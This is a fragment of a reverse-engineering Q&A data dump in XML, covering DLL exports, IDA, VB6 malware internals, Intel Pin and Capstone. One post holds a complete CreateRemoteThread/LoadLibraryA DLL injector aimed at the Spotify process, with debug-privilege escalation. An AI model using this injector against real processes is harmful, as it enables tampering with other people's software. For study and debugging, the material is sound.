be possible) and finally call them myself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last addition is that DLL in question has DllRegisterServer and DllUnregisterServer functions.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The DLLs I'm talking about are from an old speech synthesizer L&amp;amp;H TTS3000. I wanted to research it more for fun than for something real and as it is extremely old and retired that shouldn't run into any trouble.&#xA;So if any one wants to reproduce these DLLs you can browse to this page:&#xA;&lt;a href=&quot;http://www.v3mail.com/download/ttsengines.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.v3mail.com/download/ttsengines.htm&lt;/a&gt;&#xA;and download any of the extra voices. They are not available (files are deleted) but they could be downloaded using web.archive.org.&#xA;So here is a dumpbin example for one of the english voice DLLs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dumpbin Engvf160.dll /exports&#xA;...&#xA;File Type: DLL&#xA;&#xA;  Section contains the following exports for ENGVF160.dl&#xA;&#xA;           0 characteristics&#xA;    373160B4 time date stamp Thu May 06 13:28:20 1999&#xA;        0.00 version&#xA;           1 ordinal base&#xA;          99 number of functions&#xA;          18 number of names&#xA;&#xA;    ordinal hint RVA      name&#xA;&#xA;         97    0 0000E23A DllRegisterServer&#xA;         98    1 0000E25B DllUnregisterServer&#xA;         99    2 000099A0 TtsEgGetCodeInfo&#xA;          1    3 0000E280 vfClose&#xA;          2    4 0000E308 vfGenPcm&#xA;          3    5 0000E389 vfGetCaps&#xA;          4    6 0000EE61 vfGetSil&#xA;          5    7 0000EEA3 vfGetSpkr&#xA;          6    8 0000EF11 vfGetVersion&#xA;          7    9 0000F63D vfGetVol&#xA;          8    A 0000EF4E vfOpen&#xA;          9    B 0000F16D vfP2Tic&#xA;         10    C 0000F479 vfSetSegDb&#xA;         11    D 0000F482 vfSetSil&#xA;         12    E 0000F4D6 vfSetSpkr&#xA;         13    F 0000F550 vfSetSynthRange&#xA;         14   10 0000F67F vfSetVol&#xA;         15   11 0000F6D3 vfTuneSpkr&#xA;&#xA;  Summary&#xA;&#xA;        7000 .data&#xA;       7B000 .rdata&#xA;        3000 .reloc&#xA;        1000 .rsrc&#xA;        F000 .text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Imports:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;... Section contains the following imports:&#xA;&#xA;   KERNEL32.dll&#xA;             63470020 Import Address Table&#xA;             634EA1C0 Import Name Table&#xA;                    0 time date stamp&#xA;                    0 Index of first forwarder reference&#xA;&#xA;                308  lstrlenA&#xA;                1F5  OutputDebugStringA&#xA;                2FF  lstrcmpiA&#xA;                17D  GetWindowsDirectoryA&#xA;                2F9  lstrcatA&#xA;                302  lstrcpyA&#xA;                 5D  DisableThreadLibraryCalls&#xA;&#xA;   ADVAPI32.dll&#xA;             63470000 Import Address Table&#xA;             634EA1A0 Import Name Table&#xA;                    0 time date stamp&#xA;                    0 Index of first forwarder reference&#xA;&#xA;                176  RegQueryInfoKeyA&#xA;                162  RegDeleteKeyA&#xA;                15B  RegCloseKey&#xA;                172  RegOpenKeyExA&#xA;                15F  RegCreateKeyExA&#xA;                186  RegSetValueExA&#xA;                164  RegDeleteValueA&#xA;&#xA;   MSVCRT.dll&#xA;             63470040 Import Address Table&#xA;             634EA1E0 Import Name Table&#xA;                    0 time date stamp&#xA;                    0 Index of first forwarder reference&#xA;&#xA;                291  malloc&#xA;                 F1  _ftol&#xA;                2B3  sqrt&#xA;                18E  _pctype&#xA;                115  _isctype&#xA;                 61  __mb_cur_max&#xA;                2C1  strncpy&#xA;                2B0  sin&#xA;                258  fprintf&#xA;                113  _iob&#xA;                2B2  sprintf&#xA;                2BA  strcpy&#xA;                25E  free&#xA;                299  memset&#xA;                10F  _initterm&#xA;                 9D  _adjust_fdiv&#xA;                297  memcpy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15672" LastEditorUserId="2147" LastEditDate="2017-04-27T08:40:51.147" LastActivityDate="2017-04-27T08:40:51.147" Title="How to intercept a call to function with known name from known DLL" Tags="|windows|c++|c|dll|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12357" PostTypeId="1" AcceptedAnswerId="12358" CreationDate="2016-04-06T18:44:26.437" Score="2" ViewCount="4966" Body="&lt;p&gt;Up until now I've been performing static analysis using Ida and run time analysis using OllyDBG.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've identified a function in Olly which I would like to start documenting further in Ida, however I can't seem to find the function in Ida, and the executable doesn't appear to be packed or obfuscated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could cause this? (besides user error :p)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've heard of dumping a process to memory, then performing static analysis on that dump file - would this make sense in the current context?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What differences would there be compared to just looking at the executable? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the software used to dump the process effect it's structure - are there different types of process dumps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I actually go about opening the dump file in Ida?&lt;/p&gt;&#xA;" OwnerDisplayName="user15338" LastActivityDate="2016-04-06T23:08:21.130" Title="Process Dumping and Ida" Tags="|ida|memory|dumping|process|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12358" PostTypeId="2" ParentId="12357" CreationDate="2016-04-06T23:08:21.130" Score="3" Body="&lt;p&gt;If your binary is allocating a new memory page &amp;amp; writing code on it, that's something you won't see on the static binary. Performing a full dump of the process from memory and loading this new binary into IDA will indeed show you those new parts. The data has to come from somewhere though (ressource, compressed, encrypted, another file, Internet, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you mentioning that the binary appears to be neither packed nor obfuscated, be sure to check you're not just into one of the loaded DLL of your binary (reversing one of the imported DLL might not be what you're willing to do?).&lt;/p&gt;&#xA;" OwnerUserId="8679" LastActivityDate="2016-04-06T23:08:21.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12359" PostTypeId="1" CreationDate="2016-04-07T07:30:14.727" Score="9" ViewCount="615" Body="&lt;p&gt;I am analyzing some Visual Basic 6.0 malware(before .NET) and I have several questions regarding the internal structure of the format. The samples I have are both &lt;code&gt;p-code&lt;/code&gt; or &lt;code&gt;native code&lt;/code&gt; compiled(depends on the malware version). In the last couple of days I read Alex Ionescu's &lt;a href=&quot;http://web.archive.org/web/20071020232030/http://www.alex-ionescu.com/vb.pdf&quot; rel=&quot;noreferrer&quot;&gt;paper&lt;/a&gt; as well as one other &lt;a href=&quot;http://www.reteam.org/papers/e46.pdf&quot; rel=&quot;noreferrer&quot;&gt;paper&lt;/a&gt; on the subject and I have a couple of questions regarding the format. Also, if you have any more resources where I can obtain additional information about the Visual Basic internal structure feel free to post them here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;code&gt;ProjectInformation&lt;/code&gt; structure there is a field at offset &lt;code&gt;0x20&lt;/code&gt; called &lt;code&gt;lpNativeCode&lt;/code&gt;. Based on Alex's paper, the description says &lt;code&gt;Pointer to .DATA section&lt;/code&gt;. When analyzing my samples, I noticed that the following field is &lt;code&gt;0x0&lt;/code&gt; for &lt;code&gt;p-code&lt;/code&gt; compiled samples and contains an address for &lt;code&gt;native code&lt;/code&gt; compiled samples. So, my question is: Is it safe to use the following field to determine if the sample is &lt;code&gt;p-code&lt;/code&gt; or &lt;code&gt;native-code&lt;/code&gt; compiled?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Inside the &lt;code&gt;ObjectInfo&lt;/code&gt; structure there are fields at offsets &lt;code&gt;0x20&lt;/code&gt; and &lt;code&gt;0x24&lt;/code&gt; called &lt;code&gt;wMethodCount&lt;/code&gt; and &lt;code&gt;lpMethods&lt;/code&gt;. For &lt;code&gt;p-code&lt;/code&gt; compiled samples I noticed that the &lt;code&gt;lpMethods&lt;/code&gt; field points to an array of methods for that object. What I don't understand is the zero bytes that appear before the actual method addresses in the array. To make it more clear I included the following pictures:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jVKrU.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jVKrU.png&quot; alt=&quot;ObjectInfo structure of a p-code sample&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dYUyV.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dYUyV.png&quot; alt=&quot;Methods array from ObjectInfo&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The first picture is a dump view of an &lt;code&gt;ObjectInfo&lt;/code&gt; structure while the second picture is the methods array pointed to by &lt;code&gt;lpMethods&lt;/code&gt; field. Notice the 8 zero bytes before the actual method addresses (on some other samples there are more than 8 zero bytes so it's not always that number). What I would like to know is what are those zero bytes?&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;And finally my last question. In the &lt;code&gt;PublicObjectDescriptor&lt;/code&gt; structure there is a field at offset &lt;code&gt;0x1C&lt;/code&gt; called &lt;code&gt;dwMethodCount&lt;/code&gt; with a description of &lt;code&gt;Number of methods in Object&lt;/code&gt;. Also, inside the &lt;code&gt;ObjectInfo&lt;/code&gt; structure there is a field called &lt;code&gt;wMethodCount&lt;/code&gt; and in the &lt;code&gt;OptionalObjectInfo&lt;/code&gt; there are fields called &lt;code&gt;wEventCount&lt;/code&gt; and &lt;code&gt;dwControlCount&lt;/code&gt;. What I would like to know is what are the relations between those fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that for &lt;code&gt;p-code&lt;/code&gt; compiled samples the     &lt;code&gt;PublicObjectDescriptor.dwMethodCount&lt;/code&gt; is equal to &lt;code&gt;ObjectInfo.wMethodCount&lt;/code&gt;,   while for &lt;code&gt;native-code&lt;/code&gt; compiled samples the following relation does not stand. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12897" LastActivityDate="2018-06-10T01:24:35.917" Title="Visual Basic internal structure" Tags="|file-format|visual-basic|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12361" PostTypeId="1" AcceptedAnswerId="12362" CreationDate="2016-04-07T13:32:43.437" Score="2" ViewCount="5003" Body="&lt;p&gt;If I open the Segments subview in IDA, I can get a list of all of the segments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to access this list so I can enumerate through all of the segments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this with idapython?&lt;/p&gt;&#xA;" OwnerUserId="13669" LastActivityDate="2020-08-25T22:35:32.260" Title="idapython: getting a list of all segments" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12362" PostTypeId="2" ParentId="12361" CreationDate="2016-04-07T13:43:57.060" Score="6" Body="&lt;p&gt;Try to use the &lt;code&gt;Segments()&lt;/code&gt; from &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;noreferrer&quot;&gt;idautils&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from idautils import *&#xA;from idc import *&#xA;from idaapi import *&#xA;&#xA;for ea in Segments():&#xA;    print '%x-%x'%(SegStart(ea),SegEnd(ea))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2016-04-07T13:43:57.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12363" PostTypeId="1" AcceptedAnswerId="12643" CreationDate="2016-04-07T13:49:00.140" Score="3" ViewCount="3143" Body="&lt;p&gt;I am using Intel Pin in order trace memory activity of an executable on Windows. What I have found, that most of the memory operands (Read or Write) operates with 2 or 4 bytes. So I decided to modify original Pin's &lt;em&gt;&lt;a href=&quot;https://software.intel.com/sites/landingpage/pintool/docs/71313/Pin/html/index.html#MAddressTrace&quot; rel=&quot;nofollow&quot;&gt;pinatrace&lt;/a&gt;&lt;/em&gt; example, in order to see which Assembly opcodes produces which memory activity.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VOID Instruction(INS ins, VOID *v)&#xA;{&#xA;&#xA;        UINT32 memOperands = INS_MemoryOperandCount(ins);&#xA;        fprintf(trace,&quot;\n[%s]\n&quot;,(INS_Disassemble(ins)).c_str()); &#xA;        for (UINT32 memOp = 0; memOp &amp;lt; memOperands; memOp++)&#xA;        { &#xA;             .....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What it basically does (I hope), is just writes disassembled opcode BEFORE the memory operands it produces. But then I looked in the file (W is for write, R is for read):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[test edx, 0x800000]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[jnz 0x77708557]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[mov dword ptr [ebp-0x4], edi]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[test dl, 0x1]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[jnz 0x77703136] RWWRWW &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[lea edi, ptr [ebx+0xcc]]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[push dword ptr [edi]]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[call 0x77702520] RWW &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[mov edi, edi]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[push ebp]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[mov ebp, esp]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[mov eax, dword ptr [ebp+0x8]]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[mov ecx, dword ptr fs:[0x18]]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[lea edx, ptr [eax+0x4]]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[lock btr dword ptr [edx], 0x0]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[jnb 0x777041dc]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[mov ecx, dword ptr [ecx+0x24]]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[mov dword ptr [eax+0xc], ecx]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[mov dword ptr [eax+0x8], 0x1]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[mov eax, 0x1]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[pop ebp]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[ret 0x4] WRRRWRWWRR&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As we can see, opcodes that are supposed to work with memory (e.g. &lt;em&gt;mov&lt;/em&gt;) do not produce memory operands. While memory traces are connected as blocks after &lt;strong&gt;ret/call/jnz&lt;/strong&gt; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;: What kind of memory operands does Intel Pin trace? Is it about calls to virtual memory/RAM/CPU registers? Could it be possible, that memory activity goes in blocks due to CPU's pipeline?&lt;/p&gt;&#xA;" OwnerUserId="15278" LastActivityDate="2020-11-03T15:18:51.573" Title="Intel Pin memory operations tracking" Tags="|disassembly|binary-analysis|memory|pintool|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12364" PostTypeId="2" ParentId="12363" CreationDate="2016-04-07T14:00:55.410" Score="0" Body="&lt;p&gt;If you want to limit your print-out to just memory read/write instructions, your &lt;code&gt;fprintf()&lt;/code&gt; needs to be inside the &lt;code&gt;if (INS_MemoryOperandIsRead(ins, memOp)) { ... }&lt;/code&gt; block and inside the &lt;code&gt;if (INS_MemoryOperandIsWritten(ins, memOp)) { ... }&lt;/code&gt; block (and you'll need to include some logic to not print the same instruction more than once).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Is called for every instruction and instruments reads and writes&#xA;VOID Instruction(INS ins, VOID *v)&#xA;{&#xA;    // Instruments memory accesses using a predicated call, i.e.&#xA;    // the instrumentation is called iff the instruction will actually be executed.&#xA;    //&#xA;    // On the IA-32 and Intel(R) 64 architectures conditional moves and REP &#xA;    // prefixed instructions appear as predicated instructions in Pin.&#xA;    UINT32 memOperands = INS_MemoryOperandCount(ins);&#xA;&#xA;    BOOL printed = FALSE;&#xA;&#xA;    // Iterate over each memory operand of the instruction.&#xA;    for (UINT32 memOp = 0; memOp &amp;lt; memOperands; memOp++)&#xA;    {&#xA;        if (INS_MemoryOperandIsRead(ins, memOp))&#xA;        {&#xA;            if (!printed)&#xA;            {&#xA;                fprintf(trace,&quot;\n[%s]\n&quot;,(INS_Disassemble(ins)).c_str()); &#xA;                printed = TRUE;&#xA;            }&#xA;&#xA;            INS_InsertPredicatedCall(&#xA;                ins, IPOINT_BEFORE, (AFUNPTR)RecordMemRead,&#xA;                IARG_INST_PTR,&#xA;                IARG_MEMORYOP_EA, memOp,&#xA;                IARG_END);&#xA;        }&#xA;        // Note that in some architectures a single memory operand can be &#xA;        // both read and written (for instance incl (%eax) on IA-32)&#xA;        // In that case we instrument it once for read and once for write.&#xA;        if (INS_MemoryOperandIsWritten(ins, memOp))&#xA;        {&#xA;            if (!printed)&#xA;            {&#xA;                fprintf(trace,&quot;\n[%s]\n&quot;,(INS_Disassemble(ins)).c_str()); &#xA;                printed = TRUE;&#xA;            }&#xA;&#xA;            INS_InsertPredicatedCall(&#xA;                ins, IPOINT_BEFORE, (AFUNPTR)RecordMemWrite,&#xA;                IARG_INST_PTR,&#xA;                IARG_MEMORYOP_EA, memOp,&#xA;                IARG_END);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-04-07T14:00:55.410" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12367" PostTypeId="1" AcceptedAnswerId="12369" CreationDate="2016-04-07T18:29:32.950" Score="1" ViewCount="156" Body="&lt;p&gt;I cam using the capstone disassembly framework to disassemble intel x86 code. I need to find out which operands are read to or written from (or both). According to the website, this is possible by doing operand.access, which holds CSACREAD | CSAWRITE flags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.capstone-engine.org/op_access.html&quot; rel=&quot;nofollow&quot;&gt;http://www.capstone-engine.org/op_access.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if we look at the definition on github:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/aquynh/capstone/blob/master/include/x86.h#L183&quot; rel=&quot;nofollow&quot;&gt;https://github.com/aquynh/capstone/blob/master/include/x86.h#L183&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;no operand[0].access exists!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on? Does this feature not exist yet? Was it removed?&lt;/p&gt;&#xA;" OwnerUserId="2808" LastActivityDate="2016-04-07T21:36:57.203" Title="capstone disasm framework - check if argument read/written" Tags="|x86|capstone|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12368" PostTypeId="1" CreationDate="2016-04-07T20:34:12.250" Score="3" ViewCount="317" Body="&lt;p&gt;In the GDB debugger of Linux, is it possible to give a local variable (at specific offset from the %esp register) a constant name, which I will see everytime I call &lt;strong&gt;disassemble&lt;/strong&gt; instead of seeing the address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean something like the capability of IDA Pro to set names to unknown variables.&lt;/p&gt;&#xA;" OwnerUserId="3179" LastEditorUserId="2147" LastEditDate="2018-08-27T20:56:13.433" LastActivityDate="2018-08-27T20:56:13.433" Title="Giving labels to local variables with GDB" Tags="|disassembly|gdb|" AnswerCount="0" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12369" PostTypeId="2" ParentId="12367" CreationDate="2016-04-07T21:36:57.203" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Now available in the Github branch next, Capstone provides a new API named cs_regs_access().&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This feature will be aviable in the version 4.0 of Capstone, you should switch to the &lt;em&gt;next&lt;/em&gt; branch, that is already stable, to use it .&lt;/p&gt;&#xA;" OwnerUserId="15684" LastActivityDate="2016-04-07T21:36:57.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12370" PostTypeId="1" CreationDate="2016-04-08T07:54:41.187" Score="-1" ViewCount="114" Body="&lt;p&gt;I declared this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int returnDummy() {&#xA;    return 0x100;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and compile as a static libray.&#xA;What result will be returned if I declare the prototype like this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool returnDummy();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and link upper static library and call that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it simply &lt;strong&gt;casts&lt;/strong&gt; 0x100 to true, or does it read just lowest 1 byte 0x00 and return false?&lt;/p&gt;&#xA;" OwnerUserId="15486" LastActivityDate="2016-04-08T09:57:04.767" Title="How return type works" Tags="|c++|" AnswerCount="1" CommentCount="1" ClosedDate="2016-04-08T20:37:12.110" ContentLicense="CC BY-SA 3.0" />
  <row Id="12371" PostTypeId="1" CreationDate="2016-04-08T08:45:25.913" Score="2" ViewCount="1104" Body="&lt;p&gt;I'm pretty new to this stuff, so please excuse me if anything I ask is kinda stupid.&#xA;I'm trying to inject a DLL into a QT application and call some of the QT functions. I got the injection working with notepad.exe or explorer.exe, but everything else I tried (Spotify, some QT apps, skype, ...) wont show my messagebox, although the injection intself doesn't throw any errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code of my injector program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;stdafx.h&quot;&#xA;#include &quot;windows.h&quot;&#xA;#include &amp;lt;iostream&amp;gt;&#xA;&#xA;using namespace std;&#xA;char const path[] = &quot;C:\\InjectedDll.dll&quot;;&#xA;&#xA;void setDebugPrivilege()&#xA;{&#xA;    HANDLE hToken;&#xA;    TOKEN_PRIVILEGES privileges;&#xA;    privileges.PrivilegeCount = 1;&#xA;    privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;&#xA;&#xA;    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;amp;hToken))&#xA;    {&#xA;        std::cout &amp;lt;&amp;lt; &quot;Failed to open process.&quot; &amp;lt;&amp;lt; std::endl;&#xA;    }&#xA;    if (!LookupPrivilegeValue(0, SE_DEBUG_NAME, &amp;amp;privileges.Privileges[0].Luid))&#xA;    {&#xA;        std::cout &amp;lt;&amp;lt; &quot;Failed to look up privileges.&quot; &amp;lt;&amp;lt; std::endl;&#xA;    }&#xA;    if (!AdjustTokenPrivileges(hToken, false, &amp;amp;privileges, sizeof(privileges), 0, 0))&#xA;    {&#xA;        std::cout &amp;lt;&amp;lt; &quot;Failed to adjust token privileges.&quot; &amp;lt;&amp;lt; std::endl;&#xA;    }&#xA;    CloseHandle(hToken);&#xA;}&#xA;&#xA;int main(int argc, char* argv)&#xA;{&#xA;    setDebugPrivilege();&#xA;&#xA;    HWND hWnd;&#xA;    hWnd = FindWindowA(0, &quot;Spotify&quot;);&#xA;    if (!hWnd) {&#xA;        std::cout &amp;lt;&amp;lt; &quot;Could not find editor window.&quot; &amp;lt;&amp;lt; std::endl;&#xA;    }&#xA;&#xA;    DWORD pId;&#xA;    GetWindowThreadProcessId(hWnd, &amp;amp;pId);&#xA;    if (!pId) {&#xA;        std::cout &amp;lt;&amp;lt; &quot;Could not find process id.&quot; &amp;lt;&amp;lt; std::endl;&#xA;    }&#xA;&#xA;    HANDLE hProcess;&#xA;    hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pId);&#xA;    if (!hProcess) {&#xA;        std::cout &amp;lt;&amp;lt; &quot;Failed to open process.&quot; &amp;lt;&amp;lt; std::endl;&#xA;    }&#xA;&#xA;    HANDLE allocatedAddress;&#xA;    allocatedAddress = VirtualAllocEx(hProcess, 0, sizeof(path), MEM_COMMIT, PAGE_EXECUTE_READWRITE);&#xA;&#xA;    WriteProcessMemory(hProcess, (void*)allocatedAddress, (void*)path, sizeof(path), 0);&#xA;&#xA;    HANDLE hRemoteThread;&#xA;    hRemoteThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA(&quot;kernel32.dll&quot;), &quot;LoadLibraryA&quot;), allocatedAddress, 0, 0);&#xA;    if (!hRemoteThread) {&#xA;        std::cout &amp;lt;&amp;lt; &quot;Failed to create remote thread: &quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; std::endl;&#xA;    }&#xA;&#xA;    WaitForSingleObject(hRemoteThread, INFINITE);&#xA;    VirtualFreeEx(hProcess, allocatedAddress, sizeof(path), MEM_DECOMMIT);&#xA;    CloseHandle(hProcess);&#xA;&#xA;    system(&quot;Pause&quot;);&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is my basic DLL.h:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#pragma once&#xA;#include &quot;windows.h&quot;&#xA;&#xA;#ifdef INJECTEDDLL_EXPORTS&#xA;    #define INJECTED_DLL_API __declspec(dllexport)&#xA;#else&#xA;    #define INJECTED_DLL_API __declspec(dllimport)&#xA;#endif&#xA;&#xA;INJECTED_DLL_API LRESULT CALLBACK newWndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);&#xA;INJECTED_DLL_API DWORD WINAPI creation();&#xA;INJECTED_DLL_API int WINAPI DllMain(HINSTANCE hInstance, DWORD reason, LPVOID reserved);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And DLL.cpp:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;injected_dll.h&quot;&#xA;&#xA;DWORD WINAPI creation()&#xA;{&#xA;    MessageBoxW(HWND_DESKTOP, L&quot;Failed to subclass window.&quot;, L&quot;Noez!&quot;, MB_OK);&#xA;    return TRUE;&#xA;}&#xA;&#xA;int WINAPI DllMain(HINSTANCE hInstance, DWORD reason, LPVOID reserved)&#xA;{&#xA;    if (reason == DLL_PROCESS_ATTACH)&#xA;    {&#xA;        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)creation, 0, 0, 0);&#xA;    }&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So can anyone tell me why this isn't working? I tried both, using MessageBoxA(..) and MessageBoxW(..) and just MessageBox(..), they all worked on notepad.exe, but none worked on the other programs.&lt;/p&gt;&#xA;" OwnerUserId="15687" LastActivityDate="2016-04-08T08:45:25.913" Title="Dll Injection into QT application" Tags="|dll-injection|qt|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12372" PostTypeId="2" ParentId="12370" CreationDate="2016-04-08T09:27:06.447" Score="1" Body="&lt;p&gt;That's undefined behavior. Aka the compiler/linker is allowed to break all the rules or make up their own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the typical function call ABI will put the return value into EAX if it fits (which both bool and int will). With bool either being defined as 0 for false and non zero for true or as zero for false and a specific value (like 0xffffffff or 1) for true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after the function call the return register will contain &lt;code&gt;0x100&lt;/code&gt; but the compiler could assume it was a specific value (if the ABI said so) and then use that assumption for further optimization. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if true was defined as 0xffffffff then a ternary &lt;code&gt;returnDummy()?val1:val2&lt;/code&gt; can be implemented as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int mask = returnDummy();&#xA;res = (mask&amp;amp;val1) | (~mask&amp;amp;val2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14025" LastEditorUserId="14025" LastEditDate="2016-04-08T09:57:04.767" LastActivityDate="2016-04-08T09:57:04.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
